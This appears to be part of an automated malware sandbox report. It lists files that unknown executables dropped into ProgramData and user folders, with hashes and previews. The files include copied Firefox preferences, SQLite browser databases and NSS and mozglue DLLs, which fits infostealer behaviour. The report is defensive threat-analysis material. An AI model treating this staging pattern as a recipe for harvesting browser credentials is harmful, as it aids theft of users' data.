SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IEGCAAKFBAEGDGCBGCGH

Download File

Process:	C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	11848
Entropy (8bit):	5.484247081913575
Encrypted:	false
SSDEEP:	192:lnaRtLYbBp6Ahj4qyaaX86KaNCd5RfGNBw8dYSl:Ieaqu7+cwL0
MD5:	66976828AA0BD7DA51F578FBEDCE7BF4
SHA1:	75D8F44E7CC4C4CFF08E37A0D531B7E9873CD7E5
SHA-256:	234981E99A1050B43A342143F117490BD738D6BEAF2478F77EF0FDBBC3F015FB
SHA-512:	D73AB2DC2BC8B1528EF59C8D548415D1F7C41421F4460D99E0FF65DF808D86A1AC64BF120141BBEF4C7BCD8E22513E2144D79467B2995A83D43D6C5B17EDBF0E
Malicious:	false
Reputation:	unknown
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.backgroundErrors", 1);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1734794233);..user_pref("app.up

C:\ProgramData\IIEBGIDAAFHIJJJJEGCG

Download File

Process:	C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IJKFHIIEHIEGDHJJJKFI

Download File

Process:	C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JKKEHJDH

Download File

Process:	C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KXB1DTJ58Q9R\00HDTJ

Download File

Process:	C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	9571
Entropy (8bit):	5.536643647658967
Encrypted:	false
SSDEEP:	192:qnaRt+YbBp6ihj4qyaaX86KKkfGNBw8DJSl:yegqumcwQ0
MD5:	5D8E5D85E880FB2D153275FCBE9DA6E5
SHA1:	72332A8A92B77A8B1E3AA00893D73FC2704B0D13
SHA-256:	50490DC0D0A953FA7D5E06105FE9676CDB9B49C399688068541B19DD911B90F9
SHA-512:	57441B4CCBA58F557E08AAA0918D1F9AC36D0AF6F6EB3D3C561DA7953ED156E89857FFB829305F65D220AE1075BC825F131D732B589B5844C82CA90B53AAF4EE
Malicious:	false
Reputation:	unknown
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\KXB1DTJ58Q9R\2NOH4E

Download File

Process:	C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KXB1DTJ58Q9R\F3OHLF

Download File

Process:	C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 32768, file counter 2, database pages 9, cookie 0x6, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	294912
Entropy (8bit):	0.08436842005578409
Encrypted:	false
SSDEEP:	192:5va0zkVmvQhyn+Zoz679fqlQbGhMHPaVAL23vIn:51zkVmvQhyn+Zoz67n
MD5:	2CD2840E30F477F23438B7C9D031FC08
SHA1:	03D5410A814B298B068D62ACDF493B2A49370518
SHA-256:	49F56AAA16086F2A9DB340CC9A6E8139E076765C1BFED18B1725CC3B395DC28D
SHA-512:	DCDD722C3A8AD79265616ADDDCA208E068E4ECEBE8820E4ED16B1D1E07FD52EB3A59A22988450071CFDA50BBFF7CB005ADF05A843DA38421F28572F3433C0F19
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j......z<.{...{.{a{.z.z<z.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KXB1DTJ58Q9R\K6FUAA

Download File

Process:	C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KXB1DTJ58Q9R\KXL68GLF3

Download File

Process:	C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KXB1DTJ58Q9R\NOZUKF

Download File

Process:	C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KXB1DTJ58Q9R\T0HVAS

Download File

Process:	C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KXB1DTJ58Q9R\TRQ9R1

Download File

Process:	C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KXB1DTJ58Q9R\V37YCBAAI

Download File

Process:	C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x23804e38, page size 16384, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.42220669526871274
Encrypted:	false
SSDEEP:	1536:nSB2ESB2SSjlK/uedMrSU0OrsJzvqYkr3g16f2UPkLk+ku4/Iw4KKazAkUk1k2DO:nazag03A2UrzJDO
MD5:	9A599453135F1D649E4507979AD94A91
SHA1:	B43BEB9F7488D4280051CE69C3414F0863911405
SHA-256:	8063AEEBE132A582884673E170771D79866FEB2F1FCE9D1B3F0F31EA9E72B6C9
SHA-512:	42AC7227E7FA9C5BE7EEA3240E55563022F0923E67BD936AB60B619C855B05A9045A54174322B2FCAAEAACDEB672F1DFF01F8F278DB78988870A3C5DF840C36B
Malicious:	false
Reputation:	unknown
Preview:	#.N8... .......Y.......X\...;...{......................n.%..........\|..4....\|].h.#..........\|..n.%.........D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ............................................................................................................................................................................................................2...{..................................xH......\|...................>d......\|...........................#......n.%.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\22129f7e57cc4f01a77377b20bd0ace2.exe.log

Download File

Process:	C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	4017
Entropy (8bit):	5.365271649872934
Encrypted:	false
SSDEEP:	96:iqbYqGSI6ou/fmOYqSqtzHeqKksvoqdqZ4UqqI9mgqWQvqh:iqbYqGcn/uHqXtzHeqKksvoqdqZrqqxs
MD5:	00A335A7CCE1A91F6FF0ACB87244727C
SHA1:	FEEB5CC15C24CB1119F8928D43FE3DBBDF4FCF66
SHA-256:	F44B943CE7AA594034BB4188B27EFF74664C9FA48AB6E3C1E09F0AEEEAECA62B
SHA-512:	AA0132C819FBFC477B02B8309AFAB066E15E8EC65064587FF485BDFB805AF7BD5FB4C059D40A023D89FF3A4E0C751DBCF53D8C628A08A4643B5232DA820ABFFE
Malicious:	false
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"WindowsBase, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","C:\Windows\assembly\NativeImages_v4.0.30319_64\WindowsBase\95a5c1baa004b986366d34856f0a5a75\WindowsBase.ni.dll",0..3,"PresentationCore, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","C:\Windows\assembly\NativeImages_v4.0.30319_64\PresentationCore\ef4e808cb158d79ab9a2b049f8fab733\PresentationCore.ni.dll",0..3,"PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","C:\Windows\assembly\NativeImages_v4.0.30319_64\Presentatio5ae0f00f#\

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\3c08a943ba.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\1019462001\3c08a943ba.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\c534667f0b.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe
File Type:	CSV text
Category:	modified
Size (bytes):	1058
Entropy (8bit):	5.356262093008712
Encrypted:	false
SSDEEP:	24:ML9E4KlKDE4KhKiKhwE4Ty1KIE4oKNzKoZAE4KzeR:MxHKlYHKh3owH8tHo6hAHKzeR
MD5:	B2EFBF032531DD2913F648E75696B0FD
SHA1:	3F1AC93E4C10AE6D48E6CE1745D23696FD6554F6
